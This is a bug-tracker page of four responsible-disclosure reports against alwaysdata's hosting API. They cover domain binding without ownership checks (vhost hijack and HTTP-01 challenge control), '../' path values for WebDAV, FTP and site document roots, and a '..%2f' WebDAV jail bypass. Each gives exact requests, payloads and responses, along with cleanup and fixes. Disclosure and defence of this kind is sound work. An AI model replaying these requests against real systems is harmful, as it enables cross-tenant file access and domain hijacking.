All Projects

ID Status Summary Opened by
 502 Closed Site address binding lacks ownership validation zlynv Task Description

Summary field: Site address binding lacks ownership validation: any account can hijack vhost traffic for third-party domains resolving to Alwaysdata

—

Details field:

Affected endpoint (in scope) https://api.alwaysdata.com/v1/site/{id}/ - addresses (create and PATCH), and the equivalent front-end site address form (same validation).

Summary

Binding a hostname to a site requires no proof of domain control whatsoever. The platform accepts any syntactically valid domain and, after the async vhost update, serves the attacker's site for every request carrying that Host/SNI. A low-privileged account can therefore bind third-party domains whose traffic already reaches your infrastructure - dangling DNS left behind by churned customers, stale A/AAAA records, or domains that simply point at Alwaysdata without being hosted here - and answer that traffic with an attacker-controlled web application.

Two clarifications up front, because both will otherwise be raised:

1. *The documentation says customers just point DNS and declare the address:* true - but that documented workflow presumes the declarer hosts the domain. Nothing verifies the presumption. There is no DNS TXT challenge, no HTTP token, no whois/registry check at bind time. Format is the only validation ("recon-hijack.example" → 400 "format incorrect"; a fully formed domain the tester does not own → 204).

2. *Uniqueness between customers is enforced (cf.  FS#321  closure: "two customers cannot configure the same domain"):* also true - and I verified it deliberately on both code paths:

CREATE site with an address already used by another site ->
  400 {"address": ["L'adresse docs.alwaysdata.net/ est deja utilisee par un autre site."]}
PATCH site with the same already-used address        ->
  400 {"address": ["L'adresse docs.alwaysdata.net/ est deja utilisee par un autre site."]}

But uniqueness is not ownership: it only prevents conflicts among hostnames that are already configured on the platform. A third-party domain that is configured by nobody (the scenarios in the impact section) has no existing configuration to conflict with, passes the uniqueness check trivially, and is then bound with zero proof of control. The invariant "your hostname serves your site" silently fails for every hostname not currently claimed.

Steps to reproduce

1. Register any low-privilege account with one site (my existing test account, site id 1080353).

2. Add a domain you do not own and cannot prove control of:

PATCH https://api.alwaysdata.com/v1/site/1080353/
Authorization: Basic <token-id>:
Content-Type: application/json

{"addresses":["docs.alwaysdata.net/","recon-hijack-xyz123.com/"]}

→ 204 No Content.

3. Wait for the platform task "Updating the front-end HTTP configuration (hostnames)" to propagate (~45 seconds observed), then send traffic for the claimed domain to the server IP:

GET / HTTP/1.1
Host: recon-hijack-xyz123.com
Connection: close

-> 200, serving MY site's content (index page in my www/)

Control - before the claim, after revert, or with an unclaimed host:
-> 404 "Site not found"

The 404 → 200 → 404 control loop establishes causality between the API modification and the vhost routing change.

4. HTTP-01 challenge response control. Place a marker file at /.well-known/acme-challenge/recontest in my www/ (WebDAV, my own account), then:

GET /.well-known/acme-challenge/recontest HTTP/1.1
Host: recon-hijack-xyz123.com

-> 200 "recon-acme-marker-OK"

The attacker can control the HTTP-01 challenge response for any domain that resolves to the affected Alwaysdata infrastructure. This creates the prerequisite for certificate issuance through an HTTP-01 ACME workflow, subject to the platform's certificate-provisioning behavior. (I have not demonstrated issuance for a domain owned by someone else, and no real third-party domain was ever claimed during testing - only a non-resolving throwaway name, requested solely against your own in-scope IP.)

5. Cleanup (immediately after verification):

PATCH {"addresses":["docs.alwaysdata.net/"]}  -> 204
GET  / with Host: recon-hijack-xyz123.com     -> 404 again (async propagation, ~45s)
WebDAV DELETE marker + .well-known dirs       -> 204, GET -> 404
Temporary second site (uniqueness test)       -> DELETE 204, listings verified

Impact

Any third-party domain whose traffic resolves to an affected Alwaysdata server/IP can potentially be rebound to an attacker-controlled Alwaysdata site. Concretely:

- Dangling DNS - a former customer's A/AAAA records still point at your infrastructure after their site (and thus their address configuration) is gone. Uniqueness no longer protects it: nothing is configured to conflict with.
- Stale or misconfigured records - domains that were never hosted here but resolve here through leftover or erroneous DNS.
- Domains intentionally pointing at Alwaysdata for parts of their setup (mail, subdomains) while their main website lives elsewhere - the web traffic still lands on your IPs.

For any such domain the attacker serves arbitrary content on both HTTP and HTTPS (SNI routing demonstrated above) under the victim's exact hostname: phishing, credential harvesting, content spoofing. If certificate provisioning for the bound hostname follows the HTTP-01 path, the challenge response is the attacker's (demonstrated) - an escalation path to a publicly trusted certificate for the victim hostname, making the HTTPS hijack indistinguishable from legitimate.

Note this is not a Host-header reflection issue (excluded by program rules): the attacker modifies persistent vhost configuration through an authenticated API, and the platform itself routes real traffic to the attacker's site thereafter. The attacker does not gain control of the victim's DNS - they exploit the fact that the traffic already reaches Alwaysdata.

Suggested classification: High (cross-organization traffic takeover of third-party hostnames), with certificate issuance as an escalation path rather than the sole basis for severity. For reference,  FS#438  (domain-transfer logic flaw) was classified Critical and fixed;  FS#321  (HTTP-01 webroot poisoning) was closed as invalid on the grounds that "two customers cannot configure the same domain" - which, as shown above, is enforced, but answers a different question than the one this finding poses.

Root cause

Address binding performs a format check and a uniqueness check against currently configured addresses, but never a domain-control verification (DNS TXT challenge, HTTP token, or registry/whois check). Uniqueness and ownership are different properties; only the former is implemented, and only the former was ever the subject of the  FS#321  dismissal.

Suggested remediation: require proof of domain control before a hostname becomes routable - e.g. DNS TXT record for the domain, or an HTTP token served from the domain's current origin - and apply the same gate on the PATCH/update path as on create. Additionally consider refusing to bind hostnames that resolve to your infrastructure but have no active customer configuration (the dangling-DNS case), or warn loudly when binding a hostname whose registry/SOA data indicates a different holder.

Relation to my previous reports

Independent of my earlier tasks (WebDAV ..%2f, site path "../", webdav/ftp path "../") - those were file-system root-escape issues bounded by your per-account UID isolation. This one is about the hosting control plane binding third-party domain names and reaches outside your customer base entirely.

Account used for testing

- Same test customer account as my previous tasks (details available on request).
- All state reverted (addresses, marker files, temporary test site); listings verified back to original.
- No third-party domain, customer, or traffic involved at any point; the claimed hostname does not resolve in public DNS.

 499 Closed API accepts unvalidated WebDAV/FTP user path zlynv Task Description

Summary field: API accepts unvalidated WebDAV/FTP user path ("../") - file access root escapes the account directory (cross-customer read/write risk)

—

Details field:

Affected endpoint (in scope) https://api.alwaysdata.com/v1/webdav/ and https://api.alwaysdata.com/v1/ftp/ (create operation, path field), and the resulting WebDAV service on https://webdav-[account].alwaysdata.net/

Summary

The API create operation on the webdav and ftp resources accepts an arbitrary path value without validation. Creating a user with "path":"../" is accepted (201 Created) and stored verbatim. The WebDAV service then resolves that user's root above the account directory (to /home), so the "user" can read and write paths outside their own account - in the worst case, every other customer's files under /home.

This directly breaks the documented guarantee of the field (from /v1/webdav/doc/):

\"Chemin relatif a la racine de votre compte. Les repertoires parents du repertoire racine ne seront ni accessibles ni visibles.\" (\"Path relative to your account root. Parent directories of the root directory will neither be accessible nor visible.\").

Steps to reproduce

1. Create a test account with a WebDAV user restricted to www/ (control).

2. Create a second WebDAV user with a traversal path:

POST https://api.alwaysdata.com/v1/webdav/
Authorization: Basic <token-id>:
Content-Type: application/json

{"name":"<account>_prov","password":"<any>","path":"../"}

→ 201 Created. GET confirms stored value:

"path": "../"

(no validation error).
Identical POST to

/v1/ftp/

also returns 201 with

"path": "../"

.

3. Authenticate to the WebDAV service as that user and prove the root escaped the account.
(Only URLs inside my own account namespace were requested - see rules note below.)

GET /docs/                    -> 200   (account directory is INSIDE this user's root)
GET /docs/www/index.html      -> 200   (own file, reachable only if root = /home)

Control - existing user with path "www/":
GET /docs/                    -> 404
GET /docs/www/index.html      -> 404   (properly jailed)

The control returning 404 while the "../" user returns 200 for the same URLs proves the root is physically different: it resolved to /home (the parent of /home/<account>/), not to /home/<account>/.

4. Cleanup (immediately after verification):

DELETE /v1/webdav/<id>/  -> 204
DELETE /v1/ftp/<id>/     -> 204
GET /v1/webdav/, /v1/ftp/ -> only original users remain

Impact

Any customer - or an attacker who registers an account - can create a WebDAV (or FTP) user whose root is /home, i.e. full read/write across tenant boundaries on the file-sharing layer. Unlike the encoded-traversal issue in my earlier WebDAV task (which broke the jail of a correctly configured user at request time), this one lets the attacker configure an escaped root directly through the API, with no special encoding and no pre-existing restricted user.

Worst case per your methodology: cross-customer file read and write via WebDAV (PUT/DELETE were exercised only inside my own account while proving the write path of the related issue), plus disclosure of anything stored under /home.

Suggested classification: High (customer data), potentially Critical under worst-case analysis - your call.

I did not request any other account's paths (program rules). All probes were limited to /docs/… URLs inside my own test account, which is sufficient to prove the root elevation.

Root cause

The path field of the webdav and ftp resources is not validated on create (and presumably update): no rejection of "..", no canonicalization check that the resolved root stays within the account directory before the value is handed to the file-sharing services.

Relation to my previous reports

- WebDAV ..%2f jail bypass (earlier task): request-time encoding bypass of a correctly configured user. Different layer, different fix.
- Site path "../" (earlier task): same missing-validation pattern on the site resource affecting Apache DocumentRoot. This report covers the webdav and ftp resources affecting the file-sharing services. If you prefer to handle these as one fix family, feel free to merge.

Account used for testing

- Same test customer account as my previous tasks (details available on request).
- Both test users deleted (204) and listings verified back to original state; no lingering credentials.
- No foreign customer data was accessed at any point.

 498 Closed API accepts unvalidated site path zlynv Task Description

Summary field (paste as task title): API accepts unvalidated site path ("../") - HTTP docroot escapes account directory, files outside site root served via own domain

—

Details field:

Affected endpoint (in scope) https://api.alwaysdata.com/v1/site/ (update operation) and the resulting vhost on the customer site (e.g. https:<account-site>.alwaysdata.net/) Summary The API "update" operation on the site resource accepts an arbitrary path value without validation or normalization. Setting it to a relative traversal ("..") rewrites the web server vhost DocumentRoot so it points outside the site directory (and outside the account directory, resolving to /home). Any file under that escaped root is then served over HTTP through the attacker's own site - i.e. the website can read paths it was never supposed to reach, in the worst case including other customers' files under /home. The same field rejects nothing: it silently strips leading slashes ("/etc" is stored as "etc/") and accepts ".."" verbatim. Steps to reproduce 1. Create a test account with a site (path www/). 2. Confirm normal state: <code>
GET https://api.alwaysdata.com/v1/site/<id>/ → "path": "www/"
GET https:
<site>.alwaysdata.net/ → 200 (serves www/)
GET https:<site>.alwaysdata.net/docs/www/index.html → 404 (URL does not exist under legit docroot)
</code> 3. Set a traversal path: <code>
PATCH https://api.alwaysdata.com/v1/site/<id>/
Authorization: Basic <token-id>:
Content-Type: application/json {"path":"../"}
</code> → 204 No Content (no validation error). GET confirms "path": "../". 4. Prove the docroot escaped (the key control: these URLs are IMPOSSIBLE under the legitimate docroot /home/<account>/www): <code>
GET https:
<site>.alwaysdata.net/ → 403 (docroot now resolves to /home, indexes disabled)
GET https:<site>.alwaysdata.net/docs/www/index.html → 200, body = the site's own index.html
GET https:
<site>.alwaysdata.net/docs/admin/ → 403 (account-level directory resolves outside site root)
</code>

The /docs/www/index.html request only returns 200 because DocumentRoot became /home - the file physically lives at /home/<account>/www/index.html and is served via URL path /docs/www/. Under the correct docroot the same URL is 404.

5. Restore:

PATCH {"path":"www/"}    -> 204
GET /                    -> 200 (normal again)
GET /docs/www/index.html -> 404 (escape gone)

Impact

Any customer (or attacker who registers an account) can point their site's document root outside their account by setting path to ".." (or deeper traversals). The web server then serves any filesystem path it can read through the attacker's own hostname.

Potential impact: Because the supplied path can resolve outside the account root, the site's DocumentRoot can potentially encompass /home and other account directories. If those paths are readable by the account's HTTP service/container, this could permit cross-tenant disclosure of other customers' files. I did not access other customers' data, in accordance with the program rules.

Suggested classification: High (customer data), potentially Critical depending on what the web server process can read - your call under worst-case analysis.

I did not attempt to fetch any other account's files (program rules) - only paths inside my own test account were requested, and only to prove the escape.

Root cause

The path field of the site resource is not validated server-side: no rejection of "..", no canonicalization check that the resolved path stays within the account directory before applying it to the web server configuration.

Additional observations (not standalone reports)

- Same field silently normalizes: "/etc" is stored as "etc/" (leading slash stripped, no error).
- Mass assignment on readonly field: PATCH {"id":12345} returns 204 but id is unchanged (ignored - OK).
- Field cross-mutation: PATCH {"annotation":"recon-test"} also set "name" to "recon-test" on the site (unexpected side effect, minor).
- With path "../" the site root returns 403 rather than 404, leaking that the path exists (minor).

Account used for testing

- Same test customer account as my previous WebDAV task (panel login available on request).
- Site restored to path "www/" immediately after verification; site confirmed serving normally (200).
- No files outside my own account were accessed at any point.

497AssignedWebDAV path jail bypass via %-encoded traversal (..%2f)...zlynv Task Description

Summary field: WebDAV path jail bypass via %-encoded traversal (..%2f) - read/write outside configured user root

—

Details field:

Affected endpoint (in scope): https://webdav-[account].alwaysdata.net/

Summary

A WebDAV user created with a restricted path (API field: "Chemin relatif a la racine de votre compte. Les repertoires parents du repertoire racine ne seront ni accessibles ni visibles.") can escape that restriction using URL-encoded directory traversal (..%2f) and list, read, write and delete files anywhere inside the hosting account - exactly what the restriction is supposed to prevent.

The per-user root is only enforced against normalized () traversal. The encoded form ..%2f is passed through to the path mapper, which resolves it relative to the account root (the WsgiDAV security check still passes because the final path stays inside the account), so the configured subdirectory jail is silently skipped.

Cross-account access is NOT possible: going one level above the account root returns HTTP 500 with "Security exception: tried to access file outside root: /home" (verbose error disclosure, see additional notes).

Steps to reproduce

1. Create a test account with a site (path www/).

2. Create a WebDAV user restricted to the site directory:

POST https://api.alwaysdata.com/v1/webdav/
Authorization: Basic <token-id>:

{"name":"<account>_recon","password":"<pwd>","path":"www/"}

Confirm the restriction is stored: GET /v1/webdav/ returns "path": "www/".

3. Confirm the jail with Digest auth:

PROPFIND https://webdav-<account>.alwaysdata.net/
-> 207, displayname = www (configured root), children = site files only

4. Bypass with encoded traversal. Control test proving the file lands OUTSIDE the jail:

PUT      /..%2f_recon_proof2.txt   -> 201 Created
PROPFIND /                         -> 207: children of www, does NOT contain the file
PROPFIND /..%2f                    -> 207: displayname=<account>, children =
                                      admin/, www/, _recon_proof2.txt   (parent listed)
GET      /_recon_proof2.txt        -> 404   (file is not inside the jail)
GET      /..%2f_recon_proof2.txt   -> 200, exact body read back
DELETE   /..%2f_recon_proof2.txt   -> 204
GET      /..%2f_recon_proof2.txt   -> 404   (cleanup verified)

Plain GET /../ does NOT bypass (client and server normalize it to /) - only the encoded variant does, which is why it is easy to miss.

Raw request for the PUT (after Digest handshake):

PUT /..%2f_recon_proof2.txt HTTP/1.1
Host: webdav-<account>.alwaysdata.net
Authorization: Digest <...>

recon-proof2-XYZZY

5. Above the account root the protection holds:

PROPFIND /..%2f..%2f  -> 500 Security exception: tried to access file outside root: /home

Validation notes (re-tested same day)

- Restriction is genuinely stored: GET /v1/webdav/ shows path "www/" for the test user (a separate default user with path "" has full root legitimately - that is not this vector).
- The 404-inside-jail / 200-escaped control with the identical filename proves this is not URL-normalization noise: the same name resolves differently depending on the encoded traversal.
- Parent listing exposes sibling directories (e.g. admin/) that must be unreachable per the API documentation.
- All proof files were deleted and deletion verified.

Impact

Any delegated WebDAV user limited to a subdirectory becomes a full-account credential: it can reach sibling directories of its configured root - other sites' document roots, mail storage, SSH keys and config, application source, any secrets in the account. Combined with the confirmed write access this is account takeover within the tenant.

Worst case per your methodology: full read/write of one customer account's content by a principal who was deliberately given access to a single directory.

CVSS estimate: between Medium and High. Suggested metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N (adjust as you see fit; PR:L is a deliberately delegated credential).

Additional observations (not standalone reports)

- Verbose 500 pages leak internals: exception text with filesystem layout (/home) and exact software: WsgiDAV/4.3.3. Invalid alone (version/path disclosure) but it directly helped diagnose the bypass.
- WWW-Authenticate: Digest realm="alwaysdata" on webdav; Server: gunicorn behind "Via: 1.1 alproxy".

Account used for testing

- Test customer account created for this program (panel login available on request for verification).
- WebDAV user created: <account>_recon (path www/) - can be deleted on request.
- Proof files already deleted, deletion verified.
- No other account or third-party data was accessed at any point.

Showing tasks 1 - 4 of 4 Page 1 of 1

Available keyboard shortcuts

Tasklist

Task Details

Task Editing